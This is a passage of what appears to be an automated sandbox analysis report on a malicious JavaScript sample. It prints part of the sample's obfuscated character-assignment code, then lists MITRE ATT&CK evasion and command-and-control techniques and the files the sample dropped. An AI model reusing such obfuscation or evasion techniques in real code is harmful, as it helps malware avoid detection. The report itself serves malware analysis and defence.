1129	iuexczmo = "G";
1130	iuexczmo = "s";
1131	iuexczmo = "Z";
1132	iuexczmo = "o";
1133	iuexczmo = "R";
1134	iuexczmo = "F";
1135	iuexczmo = "O";
1136	iuexczmo = "o";
1137	xbdlluqn = "q";
1138	xbdlluqn = "u";
1139	xbdlluqn = "H";
1140	xbdlluqn = "f";
1141	xbdlluqn = "B";
1142	xbdlluqn = "D";
1143	xbdlluqn = "r";
1144	xbdlluqn = "I";
1145	xbdlluqn = "H";
1146	xbdlluqn = "D";
1147	xbdlluqn = "m";
1148	xbdlluqn = "a";
1149	xbdlluqn = "Q";
1150	msuvjjr = "R";
1151	msuvjjr = "O";
1152	msuvjjr = "p";
1153	msuvjjr = "J";
1154	msuvjjr = "\"";
1155	plyryt = "v";
1156	plyryt = "h";
1157	plyryt = "M";
1158	plyryt = "G";
1159	plyryt = "E";
1160	plyryt = "e";
1161	plyryt = "T";
1162	plyryt = "u";
1163	plyryt = "V";
1164	plyryt = "m";
1165	plyryt = "G";
1166	plyryt = "P";
1167	plyryt = "D";
1168	plyryt = "U";
1169	plyryt = "M";
1170	plyryt = "c";
1171	plyryt = "N";
1172	plyryt = "@";
1173	pyywx = "U";
1174	pyywx = "U";
1175	pyywx = "S";
1176	pyywx = "z";
1177	pyywx = "A";
1178	pyywx = "W";
1179	pyywx = "K";
1180	pyywx = "V";
1181	pyywx = "c";
1182	pyywx = "i";
1183	pyywx = "l";
1184	lyvfzt = "R";
1185	lyvfzt = "Z";
1186	lyvfzt = "E";
1187	lyvfzt = "B";
1188	lyvfzt = "I";
1189	lyvfzt = "H";
1190	lyvfzt = "V";
1191	lyvfzt = "B";
1192	lyvfzt = "P";
1193	lyvfzt = "Y";
1194	lyvfzt = "p";
1195	lyvfzt = "z";
1196	lyvfzt = "n";
1197	lyvfzt = "i";
1198	lyvfzt = "d";
1199	lyvfzt = "V";
1200	lyvfzt = "S";
1201	lyvfzt = "y";
1202	lyvfzt = "V";
1203	lyvfzt = "p";
1204	lyvfzt = "j";
1205	lyvfzt = "t";
1206	lyvfzt = "K";
1207	lyvfzt = "M";
1208	lyvfzt = "z";
1209	lyvfzt = "F";
1210	lyvfzt = "E";
1211	lyvfzt = "X";
1212	lyvfzt = "V";
1213	lyvfzt = "N";
1214	lyvfzt = "H";
1215	lyvfzt = "D";
1216	lyvfzt = "w";
1217	lyvfzt = "i";
1218	lyvfzt = "e";
1219	ckzeoiy = "A";
1220	ckzeoiy = "e";
1221	ckzeoiy = "I";
1222	ckzeoiy = "X";
1223	ckzeoiy = "v";
1224	ckzeoiy = "u";
1225	ckzeoiy = "f";
1226	ckzeoiy = "y";
1227	ckzeoiy = "f";
1228	ckzeoiy = "X";
1229	ckzeoiy = "h";
1230	ckzeoiy = "N";
1231	ckzeoiy = "M";
1232	ckzeoiy = "X";
1233	ckzeoiy = "q";
1234	ckzeoiy = "Z";
1235	ckzeoiy = "y";
1236	ckzeoiy = "f";
1237	ckzeoiy = "R";
1238	ckzeoiy = "M";
1239	ckzeoiy = "x";
1240	ckzeoiy = "G";
1241	ckzeoiy = "W";
1242	ckzeoiy = "k";
1243	ckzeoiy = "r";
1244	ckzeoiy = "F";
1245	duqxu = "i";
1246	mfeixdt = "e";
1247	mfeixdt = "C";
1248	mfeixdt = "x";
1249	mfeixdt = "Z";
1250	mfeixdt = "h";
1251	mfeixdt = "D";
1252	mfeixdt = "S";
1253	artneqo = "H";
1254	artneqo = "O";
1255	bzdrrhx = "t";
1256	bzdrrhx = "H";
1257	bzdrrhx = "V";
1258	bzdrrhx = "j";
1259	bzdrrhx = "i";
1260	bzdrrhx = "K";
1261	bzdrrhx = "t";
1262	bzdrrhx = "D";
1263	bzdrrhx = "A";
1264	bzdrrhx = "S";
1265	bzdrrhx = "L";
1266	bzdrrhx = "b";
1267	bzdrrhx = "-";
1268	dclfff = "d";
1269	dclfff = "T";
1270	dclfff = "w";
1271	dclfff = "D";
1272	dclfff = "K";
1273	dclfff = "u";
1274	dclfff = "h";
1275	dclfff = "u";
1276	dclfff = "b";
1277	dclfff = "O";
1278	dclfff = "f";
1279	dclfff = "E";
1280	dclfff = "e";
1281	dclfff = "m";
1282	dclfff = "j";
1283	dclfff = "z";
1284	dclfff = "W";
1285	dclfff = "D";
1286	dclfff = "n";
1287	dclfff = "V";
1288	dclfff = "U";
1289	dclfff = "g";
1290	dclfff = "Q";
1291	dclfff = "1";
1292	tmllibqvr = "a";
1293	tmllibqvr = "M";
1294	tmllibqvr = "A";
1295	tmllibqvr = "j";
1296	tmllibqvr = "n";
1297	tmllibqvr = "U";
1298	tmllibqvr = "F";
1299	tmllibqvr = "f";
1300	tmllibqvr = "W";
1301	tmllibqvr = "A";
1302	tmllibqvr = "y";
1303	tmllibqvr = "H";
1304	tmllibqvr = "M";
1305	tmllibqvr = "c";
1306	tmllibqvr = "i";
1307	tmllibqvr = "V";
1308	tmllibqvr = "O";
1309	tmllibqvr = "S";
1310	tmllibqvr = "Q";
1311	tmllibqvr = "F";
1312	tmllibqvr = "W";
1313	tmllibqvr = "a";
1314	tmllibqvr = "f";
1315	tmllibqvr = "W";
1316	tmllibqvr = "2";
1317	ljvcvqfl = "K";
1318	ljvcvqfl = "O";
1319	ljvcvqfl = "y";
1320	ljvcvqfl = "Z";
1321	ljvcvqfl = "I";
1322	ljvcvqfl = "Y";
1323	ljvcvqfl = "q";
1324	ljvcvqfl = "W";
1325	ljvcvqfl = "d";
1326	ljvcvqfl = "V";
1327	ljvcvqfl = "K";
1328	ljvcvqfl = "q";
1329	ljvcvqfl = "o";
1330	ljvcvqfl = "G";
1331	ljvcvqfl = "t";
1332	ljvcvqfl = "t";
1333	ljvcvqfl = "K";
1334	ljvcvqfl = "L";
1335	ljvcvqfl = "q";
1336	ljvcvqfl = "C";
1337	ljvcvqfl = "o";
1338	ljvcvqfl = "e";
1339	ljvcvqfl = "e";
1340	ljvcvqfl = "p";
1341	sevuqnpcc = "w";
1342	sevuqnpcc = "x";
1343	sevuqnpcc = "y";
1344	sevuqnpcc = "g";
1345	sevuqnpcc = "v";
1346	sevuqnpcc = "T";
1347	sevuqnpcc = "A";
1348	sevuqnpcc = "D";
1349	sevuqnpcc = "T";
1350	sevuqnpcc = "C";
1351	sevuqnpcc = "H";
1352	sevuqnpcc = "x";
1353	sevuqnpcc = "l";
1354	sevuqnpcc = "S";
1355	sevuqnpcc = "x";
1356	sevuqnpcc = "A";
1357	sevuqnpcc = "f";
1358	sevuqnpcc = "b";
1359	sevuqnpcc = "c";
1360	sevuqnpcc = "c";
1361	sevuqnpcc = "e";
1362	sevuqnpcc = "J";
1363	sevuqnpcc = "m";
1364	sevuqnpcc = "B";
1365	sevuqnpcc = "o";
1366	sevuqnpcc = "y";
1367	sevuqnpcc = "V";
1368	sevuqnpcc = "U";
1369	sevuqnpcc = "e";
1370	sevuqnpcc = "r";
1371	sevuqnpcc = "T";
1372	sevuqnpcc = "n";
1373	sevuqnpcc = "c";
1374	sevuqnpcc = "b";
1375	sevuqnpcc = "x";
1376	sevuqnpcc = "O";
1377	sevuqnpcc = "z";
1378	sevuqnpcc = "s";
1379	sevuqnpcc = "K";
1380	sevuqnpcc = " ";
1381	uxtqmfgl ( );	uxtqmfgl() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 11267230832782128009.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3d8eda8d-c6d5-4794-aa3a-2805f15f1075.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4036c8.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eb7361aa-a439-4a7f-a6b6-a6f4c3a63b47.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
11267230832782128009.js